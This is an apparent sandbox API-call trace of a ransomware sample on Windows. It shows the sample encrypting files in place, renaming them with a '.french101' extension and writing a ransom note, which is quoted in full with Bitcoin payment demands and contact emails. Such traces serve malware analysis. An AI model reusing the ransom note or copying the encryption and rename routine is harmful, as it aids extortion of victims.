lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.802] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.802] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0281.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0281.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\я" (normalized: "c:\\588bce7c90097ed212\\1049\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.804] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0281.805] CloseHandle (hObject=0x308) returned 1 [0281.805] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\я" (normalized: "c:\\588bce7c90097ed212\\1049\\я")) returned 1 [0281.807] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0281.807] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0281.807] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0281.807] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0281.807] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", dwFileAttributes=0x20) returned 1 [0281.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.811] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.812] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xd4b8 [0281.812] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.812] SetFilePointer (in: hFile=0x308, lDistanceToMove=54456, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xd4b8 [0281.812] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0281.825] CloseHandle (hObject=0x308) returned 1 [0281.834] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.834] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.834] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xd4b9 [0281.834] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.834] SetFilePointer (in: hFile=0x308, lDistanceToMove=54456, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xd4b8 [0281.834] SetEndOfFile (hFile=0x308) returned 1 [0281.837] CloseHandle (hObject=0x308) returned 1 [0281.837] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.837] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.837] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xd4b8 [0281.838] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.838] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.838] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.838] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.839] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.839] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0281.839] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.839] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.840] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0281.840] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.840] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.840] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.840] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.880] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.880] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.880] SetFilePointer (in: hFile=0x308, lDistanceToMove=54456, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xd4b8 [0281.880] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0281.880] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xba, lpOverlapped=0x0) returned 1 [0281.880] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.880] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.880] CloseHandle (hObject=0x308) returned 1 [0281.882] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\tcyx3o6S25VpsswEx0Cpnk.french101" (normalized: "c:\\588bce7c90097ed212\\1049\\tcyx3o6s25vpsswex0cpnk.french101")) returned 1 [0281.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\tcyx3o6S25VpsswEx0Cpnk.french101" (normalized: "c:\\588bce7c90097ed212\\1049\\tcyx3o6s25vpsswex0cpnk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.883] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0281.883] CloseHandle (hObject=0x308) returned 1 [0281.883] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\tcyx3o6S25VpsswEx0Cpnk.french101", dwFileAttributes=0x80) returned 1 [0281.883] CloseHandle (hObject=0x308) returned 0 [0281.884] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.884] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.884] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.884] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.884] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.884] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.884] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.884] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.884] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.884] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0281.884] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0281.884] GetLastError () returned 0x2 [0281.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1049\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.885] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0281.886] CloseHandle (hObject=0x308) returned 1 [0281.886] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.886] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.887] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.887] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0281.887] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0281.887] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.887] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0281.887] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.887] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0281.887] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.887] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.887] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.887] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.887] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0281.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.888] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0281.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0281.888] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0281.889] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0281.889] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0281.889] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0281.889] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0281.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.889] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.889] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x13e4a [0281.890] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.890] SetFilePointer (in: hFile=0x308, lDistanceToMove=81482, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x13e4a [0281.890] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0281.912] CloseHandle (hObject=0x308) returned 1 [0281.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.926] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.926] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x13e4b [0281.926] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.927] SetFilePointer (in: hFile=0x308, lDistanceToMove=81482, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x13e4a [0281.927] SetEndOfFile (hFile=0x308) returned 1 [0281.929] CloseHandle (hObject=0x308) returned 1 [0281.929] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.929] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.929] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x13e4a [0281.929] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.930] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.930] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.930] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.931] SetFilePointer (in: hFile=0x308, lDistanceToMove=37014, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x9096 [0281.931] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.931] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.931] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0281.931] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.931] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.931] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0281.931] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.931] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.931] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.931] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.007] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0282.008] WriteFile (in: hFile=0x308, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.008] SetFilePointer (in: hFile=0x308, lDistanceToMove=37014, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x9096 [0282.008] WriteFile (in: hFile=0x308, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.008] SetFilePointer (in: hFile=0x308, lDistanceToMove=81482, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x13e4a [0282.008] WriteFile (in: hFile=0x308, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0282.008] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0282.008] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.008] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.008] CloseHandle (hObject=0x308) returned 1 [0282.011] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), 